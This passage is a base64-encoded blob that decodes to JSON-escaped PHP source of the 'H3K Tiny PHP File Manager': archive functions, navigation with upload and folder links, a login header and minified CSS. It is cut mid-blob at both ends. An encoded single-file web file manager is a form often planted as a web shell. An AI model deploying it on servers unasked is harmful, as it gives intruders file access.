cclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICBpZiAoJHRoaXMtPmFkZEZpbGVPckRpcigkZmlsZXMpKSB7XHJcbiAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBFeHRyYWN0IGFyY2hpdmUgJGZpbGVuYW1lIHRvIGZvbGRlciAkcGF0aCAoUkVMQVRJVkUgT1IgQUJTT0xVVEUgUEFUSFMpXHJcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxyXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxyXG4gICAgICogQHJldHVybiBib29sXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcclxuICAgIHtcclxuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUpO1xyXG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcclxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcclxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBBZGQgZmlsZVwvZm9sZGVyIHRvIGFyY2hpdmVcclxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXHJcbiAgICAgKiBAcmV0dXJuIGJvb2xcclxuICAgICAqXC9cclxuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcclxuICAgIHtcclxuICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKSB7XHJcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XHJcbiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7XHJcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XHJcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXHJcbiAgICAgKiBAcmV0dXJuIGJvb2xcclxuICAgICAqXC9cclxuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxyXG4gICAge1xyXG4gICAgICAgIGlmICghJHRoaXMtPnppcC0+YWRkRW1wdHlEaXIoJHBhdGgpKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcclxuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XHJcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XHJcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcclxuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRGaWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xyXG4gICAgICAgIH1cclxuICAgICAgICByZXR1cm4gZmFsc2U7XHJcbiAgICB9XHJcbn1cclxuXHJcblwvXC8tLS0gdGVtcGxhdGVzIGZ1bmN0aW9uc1xyXG5cclxuXC8qKlxyXG4gKiBTaG93IG5hdiBibG9ja1xyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aClcclxue1xyXG4gICAgZ2xvYmFsICRsYW5nO1xyXG4gICAgPz5cclxuPGRpdiBjbGFzcz1cInBhdGggbWFpbi1uYXZcIj5cclxuXHJcbiAgICAgICAgPD9waHBcclxuICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xyXG4gICAgICAgICRyb290X3VybCA9IFwiPGEgaHJlZj0nP3A9Jz48aSBjbGFzcz0nZmEgZmEtaG9tZScgYXJpYS1oaWRkZW49J3RydWUnIHRpdGxlPSdcIiAuIEZNX1JPT1RfUEFUSCAuIFwiJz48XC9pPjxcL2E+XCI7XHJcbiAgICAgICAgJHNlcCA9ICc8aSBjbGFzcz1cImZhIGZhLWNhcmV0LXJpZ2h0XCI+PFwvaT4nO1xyXG4gICAgICAgIGlmICgkcGF0aCAhPSAnJykge1xyXG4gICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcclxuICAgICAgICAgICAgJGNvdW50ID0gY291bnQoJGV4cGxvZGVkKTtcclxuICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTtcclxuICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xyXG4gICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkY291bnQ7ICRpKyspIHtcclxuICAgICAgICAgICAgICAgICRwYXJlbnQgPSB0cmltKCRwYXJlbnQgLiAnXC8nIC4gJGV4cGxvZGVkWyRpXSwgJ1wvJyk7XHJcbiAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcclxuICAgICAgICAgICAgICAgICRhcnJheVtdID0gXCI8YSBocmVmPSc/cD17JHBhcmVudF9lbmN9Jz5cIiAuIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZXhwbG9kZWRbJGldKSkgLiBcIjxcL2E+XCI7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9XCJicmVhay13b3JkIGZsb2F0LWxlZnRcIj4nIC4gJHJvb3RfdXJsIC4gJzxcL2Rpdj4nO1xyXG4gICAgICAgID8+XHJcblxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJmbG9hdC1yaWdodFwiPlxyXG4gICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxyXG4gICAgICAgIDxhIHRpdGxlPVwiU2VhcmNoXCIgaHJlZj1cImphdmFzY3JpcHQ6c2hvd1NlYXJjaCgnPD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4nKVwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9hPlxyXG4gICAgICAgIDxhIHRpdGxlPVwiVXBsb2FkIGZpbGVzXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+PFwvYT5cclxuICAgICAgICA8YSB0aXRsZT1cIk5ldyBmb2xkZXJcIiBocmVmPVwiI2NyZWF0ZU5ld0l0ZW1cIiA+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+PFwvYT5cclxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PjxhIHRpdGxlPVwiTG9nb3V0XCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+PD9waHAgZW5kaWY7ID8+XHJcbiAgICAgICAgPFwvZGl2PlxyXG48XC9kaXY+XHJcbjw/cGhwXHJcbn1cclxuXHJcblwvKipcclxuICogU2hvdyBtZXNzYWdlIGZyb20gc2Vzc2lvblxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX3Nob3dfbWVzc2FnZSgpXHJcbntcclxuICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ21lc3NhZ2UnXSkpIHtcclxuICAgICAgICAkY2xhc3MgPSBpc3NldCgkX1NFU1NJT05bJ3N0YXR1cyddKSA/ICRfU0VTU0lPTlsnc3RhdHVzJ10gOiAnb2snO1xyXG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bJ21lc3NhZ2UnXSAuICc8XC9wPic7XHJcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydtZXNzYWdlJ10pO1xyXG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pO1xyXG4gICAgfVxyXG59XHJcblxyXG5cLyoqXHJcbiAqIFNob3cgcGFnZSBoZWFkZXIgaW4gTG9naW4gRm9ybVxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcclxue1xyXG4gICAgJHNwcml0ZXNfdmVyID0gJzIwMTYwMzE1JztcclxuICAgIGhlYWRlcihcIkNvbnRlbnQtVHlwZTogdGV4dFwvaHRtbDsgY2hhcnNldD11dGYtOFwiKTtcclxuICAgIGhlYWRlcihcIkV4cGlyZXM6IFNhdCwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UXCIpO1xyXG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XHJcbiAgICBoZWFkZXIoXCJQcmFnbWE6IG5vLWNhY2hlXCIpO1xyXG5cclxuICAgIGdsb2JhbCAkbGFuZztcclxuICAgID8+XHJcbjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbD5cclxuPGhlYWQ+XHJcbjxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxyXG48dGl0bGU+SDNLIHwgRmlsZSBNYW5hZ2VyPFwvdGl0bGU+XHJcbjxtZXRhIG5hbWU9XCJEZXNjcmlwdGlvblwiIENPTlRFTlQ9XCJBdXRob3I6IENDUCBQcm9ncmFtbWVycywgSDNLIFRpbnkgUEhQIEZpbGUgTWFuYWdlclwiPlxyXG48bGluayByZWw9XCJpY29uXCIgaHJlZj1cIjw/cGhwIGVjaG8gRk1fU0VMRl9VUkwgPz4/aW1nPWZhdmljb25cIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPlxyXG48bGluayByZWw9XCJzaG9ydGN1dCBpY29uXCIgaHJlZj1cIjw/cGhwIGVjaG8gRk1fU0VMRl9VUkwgPz4/aW1nPWZhdmljb25cIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPlxyXG48bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cIlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUuY3NzXCI+XHJcbjxzdHlsZT5cclxuYSBpbWcsaW1ne2JvcmRlcjpub25lfS5maWxlbmFtZSx0ZCx0aHt3aGl0ZS1zcGFjZTpub3dyYXB9LmNsb3NlLC5jbG9zZTpmb2N1cywuY2xvc2U6aG92ZXIsLnBocC1maWxlLXRyZWUgYSxhe3RleHQtZGVjb3JhdGlvbjpub25lfWEsYm9keSxjb2RlLGRpdixlbSxmb3JtLGh0bWwsaW1nLGxhYmVsLGxpLG9sLHAscHJlLHNtYWxsLHNwYW4sc3Ryb25nLHRhYmxlLHRkLHRoLHRyLHVse21hcmdpbjowO3BhZGRpbmc6MDt2ZXJ0aWNhbC1hbGlnbjpiYXNlbGluZTtvdXRsaW5lOjA7Zm9udC1zaXplOjEwMCU7YmFja2dyb3VuZDowIDA7Ym9yZGVyOm5vbmU7dGV4dC1kZWNvcmF0aW9uOm5vbmV9cCx0YWJsZSx1bHttYXJnaW4tYm90dG9tOjEwcHh9aHRtbHtvdmVyZmxvdy15OnNjcm9sbH1ib2R5e3BhZGRpbmc6MDtmb250OjEzcHhcLzE2cHggVGFob21hLEFyaWFsLHNhbnMtc2VyaWY7Y29sb3I6IzIyMjtiYWNrZ3JvdW5kOiNGN0Y3Rjc7bWFyZ2luOjUwcHggMzBweCAwfWJ1dHRvbixpbnB1dCxzZWxlY3QsdGV4dGFyZWF7Zm9udC1zaXplOmluaGVyaXQ7Zm9udC1mYW1pbHk6aW5oZXJpdH1he2NvbG9yOiMyOTZlYTN9YTpob3Zlcntjb2xvcjojYjAwfWltZ3t2ZXJ0aWNhbC1hbGlnbjptaWRkbGV9c3Bhbntjb2xvcjojNzc3fXNtYWxse2ZvbnQtc2l6ZToxMXB4O2NvbG9yOiM5OTl9dWx7bGlzdC1zdHlsZS10eXBlOm5vbmU7bWFyZ2luLWxlZnQ6MH11bCBsaXtwYWRkaW5nOjNweCAwfXRhYmxle2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtib3JkZXItc3BhY2luZzowO3dpZHRoOjEwMCV9LmZpbGUtdHJlZS12aWV3KyNtYWluLXRhYmxle3dpZHRoOjc1JSFpbXBvcnRhbnQ7ZmxvYXQ6bGVmdH10ZCx0aHtwYWRkaW5nOjRweCA3cHg7dGV4dC1hbGlnbjpsZWZ0O3ZlcnRpY2FsLWFsaWduOnRvcDtib3JkZXI6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZmZmfXRkLmdyYXksdGh7YmFja2dyb3VuZC1jb2xvcjojZWVlfXRkLmdyYXkgc3Bhbntjb2xvcjojMjIyfXRyOmhvdmVyIHRke2JhY2tncm91bmQtY29sb3I6I2Y1ZjVmNX10cjpob3ZlciB0ZC5ncmF5e2JhY2tncm91bmQtY29sb3I6I2VlZX0udGFibGV7d2lkdGg6MTAwJTttYXgtd2lkdGg6MTAwJTttYXJnaW4tYm90dG9tOjFyZW19LnRhYmxlIHRkLC50YWJsZSB0aHtwYWRkaW5nOi41NXJlbTt2ZXJ0aWNhbC1hbGlnbjp0b3A7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZH0udGFibGUgdGhlYWQgdGh7dmVydGljYWwtYWxpZ246Ym90dG9tO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICNlY2VlZWZ9LnRhYmxlIHRib2R5K3Rib2R5e2JvcmRlci10b3A6MnB4IHNvbGlkICNlY2VlZWZ9LnRhYmxlIC50YWJsZXtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZ9Y29kZSxwcmV7ZGlzcGxheTpibG9jazttYXJnaW4tYm90dG9tOjEwcHg7Zm9udDoxM3B4XC8xNnB4IENvbnNvbGFzLCdDb3VyaWVyIE5ldycsQ291cmllcixtb25vc3BhY2U7Ym9yZGVyOjFweCBkYXNoZWQgI2NjYztwYWRkaW5nOjVweDtvdmVyZmxvdzphdXRvfS5oaWRkZW4sLm1vZGFse2Rpc3BsYXk6bm9uZX0uYnRuLC5jbG9zZXtmb250LXdlaWdodDo3MDB9cHJlLndpdGgtaGxqc3twYWRkaW5nOjB9cHJlLndpdGgtaGxqcyBjb2Rle21hcmdpbjowO2JvcmRlcjowO292ZXJmbG93OnZpc2libGV9Y29kZS5tYXhoZWlnaHQscHJlLm1heGhlaWdodHttYXgtaGVpZ2h0OjUxMnB4fWlucHV0W3R5cGU9Y2hlY2tib3hde21hcmdpbjowO3BhZGRpbmc6MH0ubWVzc2FnZSwucGF0aHtwYWRkaW5nOjRweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQtY29sb3I6I2ZmZn0uZmEuZmEtY2FyZXQtcmlnaHR7Zm9udC1zaXplOjEuMmVtO21hcmdpbjowIDRweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Y29sb3I6I2VjZWNlY30uZmEuZmEtaG9tZXtmb250LXNpemU6MS4yZW07dmVydGljYWwtYWxpZ246Ym90dG9tfSN3cmFwcGVye21pbi13aWR0aDo0MDBweDttYXJnaW46MCBhdXRvfS5wYXRoe21hcmdpbi1ib3R0b206MTBweH0ucmlnaHR7dGV4dC1hbGlnbjpyaWdodH0uY2VudGVyLC5jbG9zZSwubG9naW4tZm9ybXt0ZXh0LWFsaWduOmNlbnRlcn0uZmxvYXQtcmlnaHR7ZmxvYXQ6cmlnaHR9LmZsb2F0LWxlZnR7ZmxvYXQ6bGVmdH0ubWVzc2FnZS5va3tib3JkZXItY29sb3I6Z3JlZW47Y29sb3I6Z3JlZW59Lm1lc3NhZ2UuZXJyb3J7Ym9yZGVyLWNvbG9yOnJlZDtjb2xvcjpyZWR9Lm1lc3NhZ2UuYWxlcnR7Ym9yZGVyLWNvbG9yOm9yYW5nZTtjb2xvcjpvcmFuZ2V9LmJ0bntib3JkZXI6MDtiYWNrZ3JvdW5kOjAgMDtwYWRkaW5nOjA7bWFyZ2luOjA7Y29sb3I6IzI5NmVhMztjdXJzb3I6cG9pbnRlcn0uYnRuOmhvdmVye2NvbG9yOiNiMDB9LnByZXZpZXctaW1ne21heC13aWR0aDoxMDAlO2JhY2tncm91bmQ6dXJsKGRhdGE6aW1hZ2VcL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQUlBQUFDUWtXZzJBQUFBS2tsRVFWUjQybUw1XC9cLzhcL0F6YncrUEZqck9KTURDU0NVUTNFQUJaYzRTMHJLenNhU3ZUVEFCQmdBTXlmQ01zWTRCOWlBQUFBQUVsRlRrU3VRbUNDKX0uaW5saW5lLWFjdGlvbnM+YT5pe2ZvbnQtc2l6ZToxZW07bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQ6IzM3ODVjMTtjb2xvcjojZmZmO3BhZGRpbmc6M3B4O2JvcmRlci1yYWRpdXM6M3B4fS5wcmV2aWV3LXZpZGVve3Bvc2l0aW9uOnJlbGF0aXZlO21heC13aWR0aDoxMDAlO2hlaWdodDowO3BhZGRpbmctYm90dG9tOjYyLjUlO21hcmdpbi1ib3R0b206MTBweH0ucHJldmlldy12aWRlbyB2aWRlb3twb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2xlZnQ6MDt0b3A6MDtiYWNrZ3JvdW5kOiMwMDB9LmNvbXBhY3QtdGFibGV7Ym9yZGVyOjA7d2lkdGg6YXV0b30uY29tcGFjdC10YWJsZSB0ZCwuY29tcGFjdC10YWJsZSB0aHt3aWR0aDoxMDBweDtib3JkZXI6MDt0ZXh0LWFsaWduOmNlbnRlcn0uY29tcGFjdC10YWJsZSB0cjpob3ZlciB0ZHtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZ9LmZpbGVuYW1le21heC13aWR0aDo0MjBweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpc30uYnJlYWstd29yZHt3b3JkLXdyYXA6YnJlYWstd29yZDttYXJnaW4tbGVmdDozMHB4fS5icmVhay13b3JkLmZsb2F0LWxlZnQgYXtjb2xvcjojN2Q3ZDdkfS5icmVhay13b3JkKy5mbG9hdC1yaWdodHtwYWRkaW5nLXJpZ2h0OjMwcHg7cG9zaXRpb246cmVsYXRpdmV9LmJyZWFrLXdvcmQrLmZsb2F0LXJpZ2h0PmF7Y29sb3I6IzdkN2Q3ZDtmb250LXNpemU6MS4yZW07bWFyZ2luLXJpZ2h0OjRweH0ubW9kYWx7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxO3BhZGRpbmctdG9wOjEwMHB4O2xlZnQ6MDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO292ZXJmbG93OmF1dG87YmFja2dyb3VuZC1jb2xvcjojMDAwO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwuNCl9I2VkaXRvciwuZWRpdC1maWxlLWFjdGlvbnN7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MzBweH0ubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kLWNvbG9yOiNmZWZlZmU7bWFyZ2luOmF1dG87cGFkZGluZzoyMHB4O2JvcmRlcjoxcHggc29saWQgIzg4ODt3aWR0aDo4MCV9LmNsb3NlOmZvY3VzLC5jbG9zZTpob3Zlcntjb2xvcjojMDAwO2N1cnNvcjpwb2ludGVyfSNlZGl0b3J7dG9wOjUwcHg7Ym90dG9tOjVweDtsZWZ0OjMwcHh9LmVkaXQtZmlsZS1hY3Rpb25ze3RvcDowO2JhY2tncm91bmQ6I2ZmZjttYXJnaW4tdG9wOjVweH0uZWRpdC1maWxlLWFjdGlvbnM+YSwuZWRpdC1maWxlLWFjdGlvbnM+YnV0dG9ue2JhY2tncm91bmQ6I2ZmZjtwYWRkaW5nOjVweCAxNXB4O2N1cnNvcjpwb2ludGVyO2NvbG9yOiMyOTZlYTM7Ym9yZGVyOjFweCBzb2xpZCAjMjk2ZWEzfS5ncm91cC1idG57YmFja2dyb3VuZDojZmZmO3BhZGRpbmc6MnB4IDZweDtib3JkZXI6MXB4IHNvbGlkO2N1cnNvcjpwb2ludGVyO2NvbG9yOiMyOTZlYTN9Lm1haW4tbmF2e3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDtwYWRkaW5nOjEwcHggMzBweCAxMHB4IDFweDt3aWR0aDoxMDAlO2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMDAwO2JvcmRlcjowO2JveC1zaGFkb3c6MCA0cHggNXB4IDAgcmdiYSgwLDAsMCwuMTQpLDAgMXB4IDEwcHggMCByZ2JhKDAsMCwwLC4xMiksMCAycHggNHB4IC0xcHggcmdiYSgwLDAsMCwuMil9LmxvZ2luLWZvcm17d2lkdGg6MzIwcHg7bWFyZ2luOjAgYXV0bztib3gtc2hhZG93OjAgOHB4IDEwcHggMXB4IHJnYmEoMCwwLDAsLjE0KSwwIDNweCAxNHB4IDJweCByZ2JhKDAsMCwwLC4xMiksMCA1cHggNXB4IC0zcHggcmdiYSgwLDAsMCwuMil9LmxvZ2luLWZvcm0gbGFiZWwsLnBhdGgubG9naW4tZm9ybSBpbnB1dHtwYWRkaW5nOjhweDttYXJnaW46MTBweH0uZm9vdGVyLWxpbmtze2JhY2tncm91bmQ6MCAwO2JvcmRlcjowO2NsZWFyOmJvdGh9c2VsZWN0W25hbWU9bGFuZ117Ym9yZGVyOm5vbmU7cG9zaXRpb246cmVsYXRpdmU7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2xlZnQ6LTMwJTt0b3A6MTJweDtjb2xvcjpzaWx2ZXJ9aW5wdXRbdHlwZT1zZWFyY2hde2hlaWdodDozMHB4O21hcmdpbjo1cHg7d2lkdGg6ODAlO2JvcmRlcjoxcHggc29saWQgI2NjY30ucGF0aC5sb2dpbi1mb3JtIGlucHV0W3R5cGU9c3VibWl0XXtiYWNrZ3JvdW5kLWNvbG9yOiM0Mjg1ZjQ7Y29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkO2JvcmRlci1yYWRpdXM6MnB4O2ZvbnQtd2VpZ2h0OjcwMDtjdXJzb3I6cG9pbnRlcn0ubW9kYWxEaWFsb2d7cG9zaXRpb246Zml4ZWQ7Zm9udC1mYW1pbHk6QXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC44KTt6LWluZGV4Ojk5OTk5O29wYWNpdHk6MDstd2Via2l0LXRyYW5zaXRpb246b3BhY2l0eSAuNHMgZWFzZS1pbjstbW96LXRyYW5zaXRpb246b3BhY2l0eSAuNHMgZWFzZS1pbjt0cmFuc2l0aW9uOm9wYWNpdHkgLjRzIGVhc2UtaW47cG9pbnRlci1ldmVudHM6bm9uZX0ubW9kYWxEaWFsb2c6dGFyZ2V0e29wYWNpdHk6MTtwb2ludGVyLWV2ZW50czphdXRvfS5tb2RhbERpYWxvZz4ubW9kZWwtd3JhcHBlcnttYXgtd2lkdGg6NDAwcHg7cG9zaXRpb246cmVsYXRpdmU7bWFyZ2luOjEwJSBhdXRvO3BhZGRpbmc6MTVweDtib3JkZXItcmFkaXVzOjJweDtiYWNrZ3JvdW5kOiNmZmZ9LmNsb3Nle2Zsb2F0OnJpZ2h0O2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMDAwO2xpbmUtaGVpZ2h0OjI1cHg7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDt0b3A6MDt3aWR0aDoyNHB4O2JvcmRlci1yYWRpdXM6MCA1cHggMCAwO2ZvbnQtc2l6ZToxOHB4fS5jbG9zZTpob3ZlcntiYWNrZ3JvdW5kOiNlNGU0ZTR9Lm1vZGFsRGlhbG9nIHB7bGluZS1oZWlnaHQ6MzBweH1kaXYjc2VhcmNocmVzdWx0V3JhcHBlcnttYXgtaGVpZ2h0OjMyMHB4O292ZXJmbG93OmF1dG99ZGl2I3NlYXJjaHJlc3VsdFdyYXBwZXIgbGl7bWFyZ2luOjhweCAwO2xpc3Qtc3R5bGU6bm9uZX1saS5maWxlOmJlZm9yZSxsaS5mb2xkZXI6YmVmb3Jle2ZvbnQ6bm9ybWFsIG5vcm1hbCBub3JtYWwgMTRweFwvMSBGb250QXdlc29tZTtjb250ZW50OlwiXFxmMDE2XCI7bWFyZ2luLXJpZ2h0OjVweH1saS5mb2xkZXI6YmVmb3Jle2NvbnRlbnQ6XCJcXGYxMTRcIn1pLmZhLmZhLWZvbGRlci1ve2NvbG9yOiNlZWFmNGJ9aS5mYS5mYS1waWN0dXJlLW97Y29sb3I6IzI2Yjk5YX1pLmZhLmZhLWZpbGUtYXJjaGl2ZS1ve2NvbG9yOiNkYTdkN2R9LmZvb3Rlci1saW5rcyBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1ve2NvbG9yOiMyOTZlYTN9aS5mYS5mYS1jc3Mze2NvbG9yOiNmMzZmYTB9aS5mYS5mYS1maWxlLWNvZGUtb3tjb2xvcjojZWM2NjMwfWkuZmEuZmEtY29kZXtjb2xvcjojY2M0YjRjfWkuZmEuZmEtZmlsZS10ZXh0LW97Y29sb3I6IzAwOTZlNn1pLmZhLmZhLWh0bWw1e2NvbG9yOiNkNzVlNzJ9aS5mYS5mYS1maWxlLWV4Y2VsLW97Y29sb3I6IzA5YzU1ZH1pLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1ve2NvbG9yOiNmNjcxMmV9LmZpbGUtdHJlZS12aWV3e3dpZHRoOjI0JTtmbG9hdDpsZWZ0O292ZXJmbG93OmF1dG87Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JvcmRlci1yaWdodDowO2JhY2tncm91bmQ6I2ZmZn0uZmlsZS10cmVlLXZpZXcgLnRyZWUtdGl0bGV7YmFja2dyb3VuZDojZWVlO3BhZGRpbmc6OXB4IDJweCA5cHggMTBweDtmb250LXdlaWdodDo3MDB9LmZpbGUtdHJlZS12aWV3IHVse21hcmdpbi1sZWZ0OjE1cHg7bWFyZ2luLWJvdHRvbTowfS5maWxlLXRyZWUtdmlldyBpe3BhZGRpbmctcmlnaHQ6M3B4fS5waHAtZmlsZS10cmVle2ZvbnQtc2l6ZToxMDAlO2xldHRlci1zcGFjaW5nOjFweDtsaW5lLWhlaWdodDoxLjU7bWFyZ2luLWxlZnQ6NXB4IWltcG9ydGFudH0ucGhwLWZpbGUtdHJlZSBhe2NvbG9yOiMyOTZlYTN9LnBocC1maWxlLXRyZWUgQTpob3Zlcntjb2xvcjojYjAwfS5waHAtZmlsZS10cmVlIC5vcGVue2ZvbnQtc3R5bGU6aXRhbGljO2NvbG9yOiMyMTg